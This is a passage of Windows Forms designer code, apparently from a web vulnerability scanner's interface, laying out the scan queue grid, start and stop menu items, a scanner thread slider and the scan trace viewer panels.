this.ASQueueGridScanID.Width = 60; - // - // ASQueueGridStatus - // - this.ASQueueGridStatus.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASQueueGridStatus.HeaderText = "STATUS"; - this.ASQueueGridStatus.Name = "ASQueueGridStatus"; - this.ASQueueGridStatus.Width = 70; - // - // ASQueueGridMethod - // - this.ASQueueGridMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.DisplayedCells; - this.ASQueueGridMethod.HeaderText = "METHOD"; - this.ASQueueGridMethod.Name = "ASQueueGridMethod"; - this.ASQueueGridMethod.Width = 79; - // - // ASQueueGridURL - // - this.ASQueueGridURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASQueueGridURL.HeaderText = "URL"; - this.ASQueueGridURL.Name = "ASQueueGridURL"; - // - // ScanQueueMenu - // - this.ScanQueueMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.StartAllStoppedAndAbortedScansToolStripMenuItem, - this.StopAllScansToolStripMenuItem, - this.StopThisScanJobToolStripMenuItem}); - this.ScanQueueMenu.Name = "ScanQueueMenu"; - this.ScanQueueMenu.Size = new System.Drawing.Size(286, 70); - this.ScanQueueMenu.Opening += new System.ComponentModel.CancelEventHandler(this.ScanQueueMenu_Opening); - // - // StartAllStoppedAndAbortedScansToolStripMenuItem - // - this.StartAllStoppedAndAbortedScansToolStripMenuItem.Name = "StartAllStoppedAndAbortedScansToolStripMenuItem"; - this.StartAllStoppedAndAbortedScansToolStripMenuItem.Size = new System.Drawing.Size(285, 22); - this.StartAllStoppedAndAbortedScansToolStripMenuItem.Text = "Start All Stopped and Aborted Scan Jobs"; - this.StartAllStoppedAndAbortedScansToolStripMenuItem.Click += new System.EventHandler(this.StartAllStoppedAndAbortedScansToolStripMenuItem_Click); - // - // StopAllScansToolStripMenuItem - // - this.StopAllScansToolStripMenuItem.Name = "StopAllScansToolStripMenuItem"; - this.StopAllScansToolStripMenuItem.Size = new System.Drawing.Size(285, 22); - this.StopAllScansToolStripMenuItem.Text = "Stop All Scan Jobs"; - this.StopAllScansToolStripMenuItem.Click += new System.EventHandler(this.StopAllScansToolStripMenuItem_Click); - // - // StopThisScanJobToolStripMenuItem - // - this.StopThisScanJobToolStripMenuItem.Name = "StopThisScanJobToolStripMenuItem"; - this.StopThisScanJobToolStripMenuItem.Size = new System.Drawing.Size(285, 22); - this.StopThisScanJobToolStripMenuItem.Text = "Stop This Scan Job"; - this.StopThisScanJobToolStripMenuItem.Click += new System.EventHandler(this.StopThisScanJobToolStripMenuItem_Click); - // - // panel2 - // - this.panel2.BackColor = System.Drawing.Color.PowderBlue; - this.panel2.Controls.Add(this.ASStartAllStoppedAndAbortedScansLL); - this.panel2.Controls.Add(this.ConfigScannerThreadMaxCountLbl); - this.panel2.Controls.Add(this.ConfigScannerSettingsCancelChangesLL); - this.panel2.Controls.Add(this.ASStopAllScansLL); - this.panel2.Controls.Add(this.ConfigScannerSettingsApplyChangesLL); - this.panel2.Controls.Add(this.label31); - this.panel2.Controls.Add(this.ConfigScannerThreadMaxCountTB); - this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; - this.panel2.Location = new System.Drawing.Point(0, 0); - this.panel2.Margin = new System.Windows.Forms.Padding(0); - this.panel2.Name = "panel2"; - this.panel2.Size = new System.Drawing.Size(697, 25); - this.panel2.TabIndex = 1; - // - // ASStartAllStoppedAndAbortedScansLL - // - this.ASStartAllStoppedAndAbortedScansLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.ASStartAllStoppedAndAbortedScansLL.AutoSize = true; - this.ASStartAllStoppedAndAbortedScansLL.Location = new System.Drawing.Point(18, 0); - this.ASStartAllStoppedAndAbortedScansLL.Name = "ASStartAllStoppedAndAbortedScansLL"; - this.ASStartAllStoppedAndAbortedScansLL.Size = new System.Drawing.Size(200, 13); - this.ASStartAllStoppedAndAbortedScansLL.TabIndex = 2; - this.ASStartAllStoppedAndAbortedScansLL.TabStop = true; - this.ASStartAllStoppedAndAbortedScansLL.Text = "Start All Stopped and Aborted Scan Jobs"; - this.ASStartAllStoppedAndAbortedScansLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ASStartAllStoppedAndAbortedScansLL_LinkClicked); - // - // ConfigScannerThreadMaxCountLbl - // - this.ConfigScannerThreadMaxCountLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigScannerThreadMaxCountLbl.AutoSize = true; - this.ConfigScannerThreadMaxCountLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigScannerThreadMaxCountLbl.Location = new System.Drawing.Point(551, -19); - this.ConfigScannerThreadMaxCountLbl.Name = "ConfigScannerThreadMaxCountLbl"; - this.ConfigScannerThreadMaxCountLbl.Size = new System.Drawing.Size(14, 13); - this.ConfigScannerThreadMaxCountLbl.TabIndex = 2; - this.ConfigScannerThreadMaxCountLbl.Text = "3"; - // - // ConfigScannerSettingsCancelChangesLL - // - this.ConfigScannerSettingsCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigScannerSettingsCancelChangesLL.AutoSize = true; - this.ConfigScannerSettingsCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigScannerSettingsCancelChangesLL.Location = new System.Drawing.Point(526, 1); - this.ConfigScannerSettingsCancelChangesLL.Name = "ConfigScannerSettingsCancelChangesLL"; - this.ConfigScannerSettingsCancelChangesLL.Size = new System.Drawing.Size(46, 13); - this.ConfigScannerSettingsCancelChangesLL.TabIndex = 70; - this.ConfigScannerSettingsCancelChangesLL.TabStop = true; - this.ConfigScannerSettingsCancelChangesLL.Text = "Cancel"; - this.ConfigScannerSettingsCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigScannerSettingsCancelChangesLL_LinkClicked); - // - // ASStopAllScansLL - // - this.ASStopAllScansLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.ASStopAllScansLL.AutoSize = true; - this.ASStopAllScansLL.Location = new System.Drawing.Point(18, -23); - this.ASStopAllScansLL.Name = "ASStopAllScansLL"; - this.ASStopAllScansLL.Size = new System.Drawing.Size(96, 13); - this.ASStopAllScansLL.TabIndex = 1; - this.ASStopAllScansLL.TabStop = true; - this.ASStopAllScansLL.Text = "Stop All Scan Jobs"; - this.ASStopAllScansLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ASStopAllScansLL_LinkClicked); - // - // ConfigScannerSettingsApplyChangesLL - // - this.ConfigScannerSettingsApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; - this.ConfigScannerSettingsApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigScannerSettingsApplyChangesLL.AutoSize = true; - this.ConfigScannerSettingsApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigScannerSettingsApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; - this.ConfigScannerSettingsApplyChangesLL.Location = new System.Drawing.Point(480, 1); - this.ConfigScannerSettingsApplyChangesLL.Name = "ConfigScannerSettingsApplyChangesLL"; - this.ConfigScannerSettingsApplyChangesLL.Size = new System.Drawing.Size(38, 13); - this.ConfigScannerSettingsApplyChangesLL.TabIndex = 71; - this.ConfigScannerSettingsApplyChangesLL.TabStop = true; - this.ConfigScannerSettingsApplyChangesLL.Text = "Apply"; - this.ConfigScannerSettingsApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; - this.ConfigScannerSettingsApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigScannerSettingsApplyChangesLL_LinkClicked); - // - // label31 - // - this.label31.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.label31.AutoSize = true; - this.label31.Location = new System.Drawing.Point(289, -19); - this.label31.Name = "label31"; - this.label31.Size = new System.Drawing.Size(258, 13); - this.label31.TabIndex = 1; - this.label31.Text = "Set the Number of Parallel Scanner Threads Allowed:"; - // - // ConfigScannerThreadMaxCountTB - // - this.ConfigScannerThreadMaxCountTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigScannerThreadMaxCountTB.BackColor = System.Drawing.SystemColors.Control; - this.ConfigScannerThreadMaxCountTB.LargeChange = 10; - this.ConfigScannerThreadMaxCountTB.Location = new System.Drawing.Point(586, -26); - this.ConfigScannerThreadMaxCountTB.Margin = new System.Windows.Forms.Padding(0); - this.ConfigScannerThreadMaxCountTB.Minimum = 1; - this.ConfigScannerThreadMaxCountTB.Name = "ConfigScannerThreadMaxCountTB"; - this.ConfigScannerThreadMaxCountTB.Size = new System.Drawing.Size(104, 45); - this.ConfigScannerThreadMaxCountTB.TabIndex = 0; - this.ConfigScannerThreadMaxCountTB.Value = 3; - this.ConfigScannerThreadMaxCountTB.Scroll += new System.EventHandler(this.ConfigScannerThreadMaxCountTB_Scroll); - // - // ASTraceTab - // - this.ASTraceTab.Controls.Add(this.ScanTraceBaseSplit); - this.ASTraceTab.Location = new System.Drawing.Point(4, 22); - this.ASTraceTab.Margin = new System.Windows.Forms.Padding(0); - this.ASTraceTab.Name = "ASTraceTab"; - this.ASTraceTab.Size = new System.Drawing.Size(697, 485); - this.ASTraceTab.TabIndex = 2; - this.ASTraceTab.Text = " Scan Trace "; - this.ASTraceTab.UseVisualStyleBackColor = true; - // - // ScanTraceBaseSplit - // - this.ScanTraceBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanTraceBaseSplit.Location = new System.Drawing.Point(0, 0); - this.ScanTraceBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.ScanTraceBaseSplit.Name = "ScanTraceBaseSplit"; - this.ScanTraceBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // ScanTraceBaseSplit.Panel1 - // - this.ScanTraceBaseSplit.Panel1.Controls.Add(this.ScanTraceTopSplit); - // - // ScanTraceBaseSplit.Panel2 - // - this.ScanTraceBaseSplit.Panel2.Controls.Add(this.ScanTraceBottomSplit); - this.ScanTraceBaseSplit.Size = new System.Drawing.Size(697, 485); - this.ScanTraceBaseSplit.SplitterDistance = 191; - this.ScanTraceBaseSplit.TabIndex = 1; - // - // ScanTraceTopSplit - // - this.ScanTraceTopSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanTraceTopSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; - this.ScanTraceTopSplit.IsSplitterFixed = true; - this.ScanTraceTopSplit.Location = new System.Drawing.Point(0, 0); - this.ScanTraceTopSplit.Margin = new System.Windows.Forms.Padding(0); - this.ScanTraceTopSplit.Name = "ScanTraceTopSplit"; - this.ScanTraceTopSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // ScanTraceTopSplit.Panel1 - // - this.ScanTraceTopSplit.Panel1.Controls.Add(this.LaunchPayloadEffectAnalyzerBtn); - this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceStatusLbl); - this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceBackFourBtn); - this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceStatLbl); - this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceBackTwoBtn); - this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceFrontFourBtn); - this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceFrontOneBtn); - this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceBackOneBtn); - this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceBackThreeBtn); - this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceFrontThreeBtn); - this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceFrontTwoBtn); - // - // ScanTraceTopSplit.Panel2 - // - this.ScanTraceTopSplit.Panel2.Controls.Add(this.ScanTraceGrid); - this.ScanTraceTopSplit.Size = new System.Drawing.Size(697, 191); - this.ScanTraceTopSplit.SplitterDistance = 66; - this.ScanTraceTopSplit.SplitterWidth = 2; - this.ScanTraceTopSplit.TabIndex = 18; - // - // LaunchPayloadEffectAnalyzerBtn - // - this.LaunchPayloadEffectAnalyzerBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.LaunchPayloadEffectAnalyzerBtn.Location = new System.Drawing.Point(516, 36); - this.LaunchPayloadEffectAnalyzerBtn.Name = "LaunchPayloadEffectAnalyzerBtn"; - this.LaunchPayloadEffectAnalyzerBtn.Size = new System.Drawing.Size(178, 20); - this.LaunchPayloadEffectAnalyzerBtn.TabIndex = 18; - this.LaunchPayloadEffectAnalyzerBtn.Text = "Launch Payload Effect Analyzer"; - this.LaunchPayloadEffectAnalyzerBtn.UseVisualStyleBackColor = true; - this.LaunchPayloadEffectAnalyzerBtn.Click += new System.EventHandler(this.LaunchPayloadEffectAnalyzerBtn_Click); - // - // ScanTraceStatusLbl - // - this.ScanTraceStatusLbl.AutoSize = true; - this.ScanTraceStatusLbl.Location = new System.Drawing.Point(8, 36); - this.ScanTraceStatusLbl.Name = "ScanTraceStatusLbl"; - this.ScanTraceStatusLbl.Size = new System.Drawing.Size(115, 13); - this.ScanTraceStatusLbl.TabIndex = 17; - this.ScanTraceStatusLbl.Text = " "; - // - // ScanTraceBackFourBtn - // - this.ScanTraceBackFourBtn.Location = new System.Drawing.Point(6, 5); - this.ScanTraceBackFourBtn.Name = "ScanTraceBackFourBtn"; - this.ScanTraceBackFourBtn.Size = new System.Drawing.Size(55, 20); - this.ScanTraceBackFourBtn.TabIndex = 1; - this.ScanTraceBackFourBtn.Text = "<<<<"; - this.ScanTraceBackFourBtn.UseVisualStyleBackColor = true; - this.ScanTraceBackFourBtn.Click += new System.EventHandler(this.ScanTraceBackFourBtn_Click); - // - // ScanTraceStatLbl - // - this.ScanTraceStatLbl.AutoSize = true; - this.ScanTraceStatLbl.Location = new System.Drawing.Point(247, 9); - this.ScanTraceStatLbl.Name = "ScanTraceStatLbl"; - this.ScanTraceStatLbl.Size = new System.Drawing.Size(148, 13); - this.ScanTraceStatLbl.TabIndex = 16; - this.ScanTraceStatLbl.Text = "Showing 0 - 0 of Scan Traces"; - // - // ScanTraceBackTwoBtn - // - this.ScanTraceBackTwoBtn.Location = new System.Drawing.Point(128, 5); - this.ScanTraceBackTwoBtn.Name = "ScanTraceBackTwoBtn"; - this.ScanTraceBackTwoBtn.Size = new System.Drawing.Size(55, 20); - this.ScanTraceBackTwoBtn.TabIndex = 10; - this.ScanTraceBackTwoBtn.Text = "<<"; - this.ScanTraceBackTwoBtn.UseVisualStyleBackColor = true; - this.ScanTraceBackTwoBtn.Click += new System.EventHandler(this.ScanTraceBackTwoBtn_Click); - // - // ScanTraceFrontFourBtn - // - this.ScanTraceFrontFourBtn.Location = new System.Drawing.Point(638, 5); - this.ScanTraceFrontFourBtn.Name = "ScanTraceFrontFourBtn"; - this.ScanTraceFrontFourBtn.Size = new System.Drawing.Size(55, 20); - this.ScanTraceFrontFourBtn.TabIndex = 15; - this.ScanTraceFrontFourBtn.Text = ">>>>"; - this.ScanTraceFrontFourBtn.UseVisualStyleBackColor = true; - this.ScanTraceFrontFourBtn.Click += new System.EventHandler(this.ScanTraceFrontFourBtn_Click); - // - // ScanTraceFrontOneBtn - // - this.ScanTraceFrontOneBtn.Location = new System.Drawing.Point(455, 5); - this.ScanTraceFrontOneBtn.Name = "ScanTraceFrontOneBtn"; - this.ScanTraceFrontOneBtn.Size = new System.Drawing.Size(55, 20); - this.ScanTraceFrontOneBtn.TabIndex = 12; - this.ScanTraceFrontOneBtn.Text = ">"; - this.ScanTraceFrontOneBtn.UseVisualStyleBackColor = true; - this.ScanTraceFrontOneBtn.Click += new System.EventHandler(this.ScanTraceFrontOneBtn_Click); - // - // ScanTraceBackOneBtn - // - this.ScanTraceBackOneBtn.Location = new System.Drawing.Point(189, 5); - this.ScanTraceBackOneBtn.Name = "ScanTraceBackOneBtn"; - this.ScanTraceBackOneBtn.Size = new System.Drawing.Size(55, 20); - this.ScanTraceBackOneBtn.TabIndex = 11; - this.ScanTraceBackOneBtn.Text = "<"; - this.ScanTraceBackOneBtn.UseVisualStyleBackColor = true; - this.ScanTraceBackOneBtn.Click += new System.EventHandler(this.ScanTraceBackOneBtn_Click); - // - // ScanTraceBackThreeBtn - // - this.ScanTraceBackThreeBtn.Location = new System.Drawing.Point(67, 5); - this.ScanTraceBackThreeBtn.Name = "ScanTraceBackThreeBtn"; - this.ScanTraceBackThreeBtn.Size = new System.Drawing.Size(55, 20); - this.ScanTraceBackThreeBtn.TabIndex = 9; - this.ScanTraceBackThreeBtn.Text = "<<<"; - this.ScanTraceBackThreeBtn.UseVisualStyleBackColor = true; - this.ScanTraceBackThreeBtn.Click += new System.EventHandler(this.ScanTraceBackThreeBtn_Click); - // - // ScanTraceFrontThreeBtn - // - this.ScanTraceFrontThreeBtn.Location = new System.Drawing.Point(577, 5); - this.ScanTraceFrontThreeBtn.Name = "ScanTraceFrontThreeBtn"; - this.ScanTraceFrontThreeBtn.Size = new System.Drawing.Size(55, 20); - this.ScanTraceFrontThreeBtn.TabIndex = 14; - this.ScanTraceFrontThreeBtn.Text = ">>>"; - this.ScanTraceFrontThreeBtn.UseVisualStyleBackColor = true; - this.ScanTraceFrontThreeBtn.Click += new System.EventHandler(this.ScanTraceFrontThreeBtn_Click); - // - // ScanTraceFrontTwoBtn - // - this.ScanTraceFrontTwoBtn.Location = new System.Drawing.Point(516, 5); - this.ScanTraceFrontTwoBtn.Name = "ScanTraceFrontTwoBtn"; - this.ScanTraceFrontTwoBtn.Size = new System.Drawing.Size(55, 20); - this.ScanTraceFrontTwoBtn.TabIndex = 13; - this.ScanTraceFrontTwoBtn.Text = ">>"; - this.ScanTraceFrontTwoBtn.UseVisualStyleBackColor = true; - this.ScanTraceFrontTwoBtn.Click += new System.EventHandler(this.ScanTraceFrontTwoBtn_Click); - // - // ScanTraceGrid - // - this.ScanTraceGrid.AllowUserToAddRows = false; - this.ScanTraceGrid.AllowUserToDeleteRows = false; - this.ScanTraceGrid.AllowUserToOrderColumns = true; - this.ScanTraceGrid.AllowUserToResizeRows = false; - this.ScanTraceGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.ScanTraceGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle3.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle3.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ScanTraceGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle3; - this.ScanTraceGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.ScanTraceGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn32, - this.dataGridViewTextBoxColumn35, - this.dataGridViewTextBoxColumn36, - this.Column2, - this.dataGridViewTextBoxColumn37, - this.Column3}); - this.ScanTraceGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanTraceGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ScanTraceGrid.GridColor = System.Drawing.Color.White; - this.ScanTraceGrid.Location = new System.Drawing.Point(0, 0); - this.ScanTraceGrid.Margin = new System.Windows.Forms.Padding(0); - this.ScanTraceGrid.MultiSelect = false; - this.ScanTraceGrid.Name = "ScanTraceGrid"; - this.ScanTraceGrid.ReadOnly = true; - this.ScanTraceGrid.RowHeadersVisible = false; - this.ScanTraceGrid.RowHeadersWidth = 10; - this.ScanTraceGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanTraceGrid.Size = new System.Drawing.Size(697, 123); - this.ScanTraceGrid.TabIndex = 8; - this.ScanTraceGrid.SelectionChanged += new System.EventHandler(this.ScanTraceGrid_SelectionChanged); - // - // dataGridViewTextBoxColumn32 - // - this.dataGridViewTextBoxColumn32.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn32.HeaderText = "ID"; - this.dataGridViewTextBoxColumn32.MinimumWidth = 50; - this.dataGridViewTextBoxColumn32.Name = "dataGridViewTextBoxColumn32"; - this.dataGridViewTextBoxColumn32.ReadOnly = true; - this.dataGridViewTextBoxColumn32.Width = 50; - // - // dataGridViewTextBoxColumn35 - // - this.dataGridViewTextBoxColumn35.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn35.HeaderText = "SCAN ID"; - this.dataGridViewTextBoxColumn35.MinimumWidth = 50; - this.dataGridViewTextBoxColumn35.Name = "dataGridViewTextBoxColumn35"; - this.dataGridViewTextBoxColumn35.ReadOnly = true; - this.dataGridViewTextBoxColumn35.Width = 70; - // - // dataGridViewTextBoxColumn36 - // - this.dataGridViewTextBoxColumn36.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn36.HeaderText = "CHECK"; - this.dataGridViewTextBoxColumn36.MinimumWidth = 50; - this.dataGridViewTextBoxColumn36.Name = "dataGridViewTextBoxColumn36"; - this.dataGridViewTextBoxColumn36.ReadOnly = true; - this.dataGridViewTextBoxColumn36.Width = 90; - // - // Column2 - // - this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.Column2.HeaderText = "SECTION"; - this.Column2.MinimumWidth = 50; - this.Column2.Name = "Column2"; - this.Column2.ReadOnly = true; - this.Column2.Width = 90; - // - // dataGridViewTextBoxColumn37 - // - this.dataGridViewTextBoxColumn37.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn37.HeaderText = "PARAMETER"; - this.dataGridViewTextBoxColumn37.MinimumWidth = 100; - this.dataGridViewTextBoxColumn37.Name = "dataGridViewTextBoxColumn37"; - this.dataGridViewTextBoxColumn37.ReadOnly = true; - // - // Column3 - // - this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.Column3.HeaderText = "TITLE"; - this.Column3.MinimumWidth = 150; - this.Column3.Name = "Column3"; - this.Column3.ReadOnly = true; - // - // ScanTraceBottomSplit - // - this.ScanTraceBottomSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanTraceBottomSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; - this.ScanTraceBottomSplit.IsSplitterFixed = true; - this.ScanTraceBottomSplit.Location = new System.Drawing.Point(0, 0); - this.ScanTraceBottomSplit.Margin = new System.Windows.Forms.Padding(0); - this.ScanTraceBottomSplit.Name = "ScanTraceBottomSplit"; - this.ScanTraceBottomSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // ScanTraceBottomSplit.Panel1 - // - this.ScanTraceBottomSplit.Panel1.Controls.Add(this.label4); - this.ScanTraceBottomSplit.Panel1.Controls.Add(this.LoadSelectedTraceBtn); - // - // ScanTraceBottomSplit.Panel2 - // - this.ScanTraceBottomSplit.Panel2.Controls.Add(this.ScanTraceTabs); - this.ScanTraceBottomSplit.Size = new System.Drawing.Size(697, 290); - this.ScanTraceBottomSplit.SplitterDistance = 33; - this.ScanTraceBottomSplit.SplitterWidth = 2; - this.ScanTraceBottomSplit.TabIndex = 2; - // - // label4 - // - this.label4.AutoSize = true; - this.label4.Location = new System.Drawing.Point(5, 11); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(522, 13); - this.label4.TabIndex = 18; - this.label4.Text = "See how the Scanner checked for vulnerability below. For more analysis load this " + - "trace in the Trace Viewer ->"; - // - // LoadSelectedTraceBtn - // - this.LoadSelectedTraceBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.LoadSelectedTraceBtn.Enabled = false; - this.LoadSelectedTraceBtn.Location = new System.Drawing.Point(552, 7); - this.LoadSelectedTraceBtn.Name = "LoadSelectedTraceBtn"; - this.LoadSelectedTraceBtn.Size = new System.Drawing.Size(137, 20); - this.LoadSelectedTraceBtn.TabIndex = 17; - this.LoadSelectedTraceBtn.Text = "Load this Trace in Viewer"; - this.LoadSelectedTraceBtn.UseVisualStyleBackColor = true; - this.LoadSelectedTraceBtn.Click += new System.EventHandler(this.LoadSelectedTraceBtn_Click); - // - // ScanTraceTabs - // - this.ScanTraceTabs.Controls.Add(this.ScanTraceOverviewTab); - this.ScanTraceTabs.Controls.Add(this.ScanTraceDetailedInfoTab); - this.ScanTraceTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanTraceTabs.Location = new System.Drawing.Point(0, 0); - this.ScanTraceTabs.Margin = new System.Windows.Forms.Padding(0); - this.ScanTraceTabs.Name = "ScanTraceTabs"; - this.ScanTraceTabs.Padding = new System.Drawing.Point(0, 0); - this.ScanTraceTabs.SelectedIndex = 0; - this.ScanTraceTabs.Size = new System.Drawing.Size(697, 255); - this.ScanTraceTabs.TabIndex = 1; - // - // ScanTraceOverviewTab - // - this.ScanTraceOverviewTab.Controls.Add(this.ScanTraceOverviewGrid); - this.ScanTraceOverviewTab.Location = new System.Drawing.Point(4, 22); - this.ScanTraceOverviewTab.Margin = new System.Windows.Forms.Padding(0); - this.ScanTraceOverviewTab.Name = "ScanTraceOverviewTab"; - this.ScanTraceOverviewTab.Size = new System.Drawing.Size(689, 229); - this.ScanTraceOverviewTab.TabIndex = 0; - this.ScanTraceOverviewTab.Text = " Overview "; - this.ScanTraceOverviewTab.UseVisualStyleBackColor = true; - // - // ScanTraceOverviewGrid - // - this.ScanTraceOverviewGrid.AllowUserToAddRows = false; - this.ScanTraceOverviewGrid.AllowUserToDeleteRows = false; - this.ScanTraceOverviewGrid.AllowUserToOrderColumns = true; - this.ScanTraceOverviewGrid.AllowUserToResizeRows = false; - this.ScanTraceOverviewGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.ScanTraceOverviewGrid.BackgroundColor = System.Drawing.Color.White; - this.ScanTraceOverviewGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle4.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle4.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle4.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle4.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ScanTraceOverviewGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle4; - this.ScanTraceOverviewGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.ScanTraceOverviewGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.Column4, - this.dataGridViewTextBoxColumn17, - this.dataGridViewTextBoxColumn18, - this.dataGridViewTextBoxColumn19, - this.dataGridViewTextBoxColumn20, - this.dataGridViewTextBoxColumn21, - this.Column5, - this.dataGridViewTextBoxColumn22}); - this.ScanTraceOverviewGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanTraceOverviewGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ScanTraceOverviewGrid.GridColor = System.Drawing.Color.White; - this.ScanTraceOverviewGrid.Location = new System.Drawing.Point(0, 0); - this.ScanTraceOverviewGrid.Margin = new System.Windows.Forms.Padding(0); - this.ScanTraceOverviewGrid.MultiSelect = false; - this.ScanTraceOverviewGrid.Name = "ScanTraceOverviewGrid"; - this.ScanTraceOverviewGrid.ReadOnly = true; - this.ScanTraceOverviewGrid.RowHeadersVisible = false; - 